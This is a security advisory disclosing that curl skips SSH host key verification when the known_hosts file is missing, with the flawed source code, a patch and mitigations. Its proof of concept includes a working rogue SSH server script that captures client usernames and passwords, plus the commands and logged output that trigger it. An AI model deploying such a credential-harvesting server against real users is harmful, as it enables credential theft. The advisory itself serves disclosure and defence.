Curl SSH Insufficient Host Identity Verification
================================================
The latest version of this advisory is available at:
https://sintonen.fi/advisories/curl-ssh-insufficient-host-identity-verification.txt

Product:  curl up to and including version 8.12.0
Severity: High if important curl SSH transfers are affected. However, most end 
users
          are not affected. Assess the risk & impact on individual system basis.
Type:     Improper Host Identity Validation
CVE:      Not assigned (Not considered a vulnerability by the CNA)


Description
-----------

Curl can perform SFTP and SCP connections to download from or upload to SSH 
server. As
part of this SSH connection curl validates the host identity against the 
database of
known hosts (.ssh/known_hosts).

The curl man page about "--insecure" option says:

              (TLS SFTP SCP) By default, every secure connection curl makes is
              verified to be secure before the transfer takes place. This option
              makes curl skip the verification step and proceed without 
checking.

              ...

              For SFTP and SCP, this option makes curl skip the known_hosts
              verification. known_hosts is a file normally stored in the
              user's home directory in the ".ssh" subdirectory, which contains
              hostnames and their public keys.

              WARNING: using this option makes the transfer insecure.

This documentation implies that by default (if --insecure option is not 
present),
known_hosts verification will be performed, and the transfer is secure. 
However, due to a
logic flaw, curl omits this validation if the .ssh/known_hosts file is missing 
entirely.

When the file is missing curl connection to an SSH host system is vulnerable to 
attacker
in the middle attacks. When using key based authentication, it allows a 
malicious host to
spoof the target host, and either return tampered or otherwise malicious 
content on
download, or for uploads for the attacker to capture the uploads. When using 
password
authentication it will also leak the username and password to the attacker, and 
thus
allows the attacker to connect to the intended target host with the leaked 
credentials.

The ssh/.known_hosts file generally is missing for accounts that have not used 
ssh
commands before. For interactive user accounts this can be considered rare. The
situation can happen more often for technical accounts set up for applications 
or
automated processing. It can also easily happen when curl is deployed via 
docker. For
example using dockerized curl like this is vulnerable:

$ docker run --rm curlimages/curl:8.11.1 -u bob:hunter2 
sftp://target.invalid/file

The attack can be performed at any network position between the curl client and 
the
target SSH server. Typical low effort attack scenario would involve running a 
rogue
access point that performs the attack. More advanced exploitation is possible 
by actors
with privileged access to networking equipment.

It should be noted that curl project itself doesn't consider this issue a 
security
vulnerability. The project argues that the "Warning: Couldn't find a known_hosts 
file"
message shown should be enough to alert the user to the issue. Additionally, 
the project
argues that the documentation does not explicitly state that the operation 
would be
safe if the known_hosts file is missing. The argument also is that the user 
should
understand that the connection would be insecure under these circumstances. 
Finally,
the project also mentions that this is the way curl has worked for a long time. 
Curl
project also notes that this an area/behavior that could be improved in curl.

My remarks on these arguments are:

1. The warning message is enough to warn the users

   There might not be human reading the warning message if curl is used in
   automation. Even if there is, this assumes that user understands that despite
   the message the user credentials have already been leaked, the download might
   have been replaced with malicious content, or the upload sent to an attacker
   controlled system. The message is also often hidden among a lot of other
   information presented (such as the progress bar), so it's rather easy to 
miss.

2. Documentation doesn't claim curl being secure in this condition

   This is true, but the documentation of --insecure option explicitly says 
that:
   "(TLS SFTP SCP) By default, every secure connection curl makes is verified
    to be secure before the transfer takes place."
   This statement is quite explicit in claiming that every TLS, SFTP, SCP 
connection
   is secure by default, unless if curl is told to be insecure. While the 
statement
   "There is no documentation claiming the opposite" is true, I argue that users
   can understand the documentation in a way that curl would be secure even if 
the
   known_hosts file is missing.

3. Users should understand curl being insecure in this condition

   Experienced users might understand that something is off if they spot the
   warning message. However, this assumes quite intimate understanding of SSH
   protocol and host key validation. In my experience this is not capability 
many
   inexperienced users have. Finally, all other SSH tools (including OpenSSH) by
   default will consider missing known_hosts file same as "the host is not
   known".

4. Curl has worked like this for a long time

   Generally, curl project doesn't want to change behavior on a whim, and I 
agree
   with this in most situations. Even a small behavioral change can lead to
   countless of automated tasks suddenly failing. If this long-standing behavior
   wouldn't lead to security impact this argument would be much stronger. Here I
   believe that curl should rather outright fail if the known_hosts file is 
missing.
   This would be a behavioral change, and it would break some existing 
workflows.
   But the affected workflows are vulnerable to Attacker in the Middle attacks, 
so
   I believe this is acceptable.

I respect the curl project and the team and applaud their excellent security 
work.
However, I can't agree with them about this issue not being a vulnerability. 
The full
discussion about this can be read from the following Hackerone ticket:
https://hackerone.com/reports/2961050


Details
-------

Secure Shell (SSH) protocol depends on validation of trust. It is not merely 
enough to
encrypt the communication towards a server, the client also must confirm the 
identity of
the peer. The authentication aspect of SSH requires that the client has prior 
knowledge
of the cryptographic identity of the target server. The SSH client must verify 
the
authenticity of the server to ensure secure communication.


CWE-295: Improper Host Certificate Validation
---------------------------------------------

The curl application SSH server host certificate validation is insufficient. 
Since the
authenticity check is omitted if the .ssh/known_hosts file is missing, a third 
party in
privileged network position can tamper with the communication between the 
client and the
server. As a result, an attacker in a privileged network position (any point 
between the
curl application and the SSH server) can perform an Attacker in The Middle 
attack.

This flaw is a result of a logic flaw in curl code at src/tool_operate.c:

    if(!config->insecure_ok) {
      char *known = findfile(".ssh/known_hosts", FALSE);
      if(known) {
        /* new in curl 7.19.6 */
        result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, known);
        curl_free(known);
        if(result == CURLE_UNKNOWN_OPTION)
          /* libssh2 version older than 1.1.1 */
          result = CURLE_OK;
        if(result)
          return result;
      }
      else
        warnf(global, "Couldn't find a known_hosts file");
    }
  }

When findfile() function cannot find the ".ssh/known_hosts" in any of the 
search paths,
the code will result in not setting CURLOPT_SSH_KNOWNHOSTS at all. This, in 
turn, will
result in libcurl to omit validating the host identity.

As a result, curl will connect to any server, regardless of its identity.

Notably, even though curl does print "Warning: Couldn't find a known_hosts 
file" to
standard error when the attack is successful, it prints this right before 
connecting the
host. At that point it is too late, and typically the user doesn't have time to 
react to
the warning. The confidential information (such as credentials and file on 
upload
operations) have already been sent to the unverified host.


Proof of Concept ----------------

I developed a minimal proof of concept SSH server that demonstrates the issue 
by capturing
the user credentials passed in curl invocation. This proof of concept does not 
enable file
transfers, nor does it itself perform any attacker in the middle functionality.

1. Run a malicious SSH server:

#!/usr/bin/env python3

import paramiko.rsakey
import paramiko
import threading
import logging
import socket

logging.basicConfig(level = logging.INFO)

class SSHServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def get_allowed_auths(self, username):
        logging.debug('[auth] Get username {} allowed auths'.format(username))
        return "password,publickey,none"

    def check_auth_none(self, username):
        logging.debug('[none] Authenticated username {}'.format(username))
        return paramiko.AUTH_FAILED

    def check_auth_password(self, username, password):
        logging.info('[pass] Authenticated username {} password 
{}'.format(username, password))
        return paramiko.AUTH_FAILED

class ClientConnection(threading.Thread):
    def __init__(self, group = None, target = None, name = None, args = ()):
        threading.Thread.__init__(self, group = group, target = target, name = 
name)
        self.args = args

    def run(self):
        hostkey = self.args[0]
        client = self.args[1]
        transport = None
        chan = None

        try:
            transport = paramiko.Transport(client)
            try:
                transport.load_server_moduli()
            except:
                pass

            transport.add_server_key(hostkey)
            server = SSHServer()
            try:
                transport.start_server(server=server)
            except:
                logging.warning('*** SSH negotiation failed, disconnect')
                client.close()
                return

            logging.info('Full remote version: 
{}'.format(transport.remote_version))

            chan = transport.accept(10)
            if chan:
                chan.close()
            transport.close()

        except Exception as e:
            logging.info('*** Caught exception: {}: 
{}'.format(str(e.__class__), str(e)))
            if chan:
                chan.close()
            if transport:
                transport.close()
            pass


def main():
    hostkey = paramiko.rsakey.RSAKey.generate(1024)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', 2222))
    sock.listen(7)

    while True:
        client, addr = sock.accept()
        logging.info('Received connection from {}:{}'.format(addr[0], addr[1]))
        t = ClientConnection(args = (hostkey, client,))
        t.start()

if __name__ == '__main__':
    main()

2. Connect to the malicious SSH server without a known_hosts file:
  $ mv ~/.ssh/known_hosts ~/.ssh/known_hosts.backup
  $ curl -u bob:hunter2 sftp://localhost:2222

3. The malicious SSH server dumps the credentials:
  ...
  INFO:root:[pass] Authenticated username bob password hunter2
  ...


Mitigations
-----------

1. You can apply the following patch to fix the issue:

---8<---
diff --git a/src/tool_operate.c b/src/tool_operate.c
index 007a5e054..52e10a5f5 100644
--- a/src/tool_operate.c
+++ b/src/tool_operate.c
@@ -1170,14 +1170,13 @@ static CURLcode config2setopts(struct GlobalConfig 
*global,
         /* new in curl 7.19.6 */
         result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, known);
         curl_free(known);
-        if(result == CURLE_UNKNOWN_OPTION)
-          /* libssh2 version older than 1.1.1 */
-          result = CURLE_OK;
-        if(result)
-          return result;
       }
-      else
+      else {
         warnf(global, "Couldn't find a known_hosts file");
+        result = res_setopt_str(curl, CURLOPT_SSH_KNOWNHOSTS, "");
+      }
+      if(result)
+        return result;
     }
   }

---8<---

With this modification curl command will delegate the validation to the 
whichever SSH
backend that has been compiled to curl. Empty filename cannot be opened and 
will result
in the host identity not considered valid. This patch also changes the 
behaviour if the
SSH backend doesn't understand CURLE_UNKNOWN_OPTION option: This is now 
considered a
fatal error.

Note that this patch likely won't apply as-is to all curl versions. However, the
change should be trivial to backport to other curl releases, too.


2. If you cannot change curl or build your own, there are strategies that will 
prevent
this vulnerability from getting triggered:

- Ensure that the .ssh/known_hosts file exist (either preseeded with the
  out-of-band validated host identities, or if there are none, have an empty
  file).
or
- Employ --hostpubmd5 or --hostpubsha256 option to validate the host identity.


Timeline --------

2025-01-27  Discovered and reported the vulnerability via curl Hackerone 
program.
2025-01-27  Report declared "not security vulnerability".
2025-02-05  Released this advisory.

Reply via email to